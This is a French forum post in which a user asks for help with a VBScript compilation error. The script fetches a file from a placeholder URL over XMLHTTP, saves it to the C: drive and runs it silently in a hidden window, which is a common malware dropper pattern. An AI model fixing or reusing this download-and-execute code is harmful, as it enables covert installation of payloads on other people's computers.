bonjour voila j'ai fait ce script seulement j'ai un probleme quand je l'execute il me dise

script:
ligne:1
caract:1
erreur: instruction attendue
code: 800A0400
source: erreur de compilation microsoft vbscript
j'ai lue que cela pouver venir de option explicit mes même en le métan cela ne marche pas.

Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<SCRIPT LANGUAGE="VBScript">
Dim site
Dim top
Dim bkb
site = "http://monsite/logiciel.rar "
Set bkb = CreateObject("Microsoft.XMLHTTP")
bkb.Open "GET", site, False
bkb.Send
top = bkb.ResponseBody
Dim nit
Set nit = CreateObject("ADODB.Stream")
nit.Type = 1
nit.Open
nit.Write top
nit.SaveToFile "C:\logiciel.rar", 2
Dim WshShell
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\logiciel.rar", 0, True
</SCRIPT>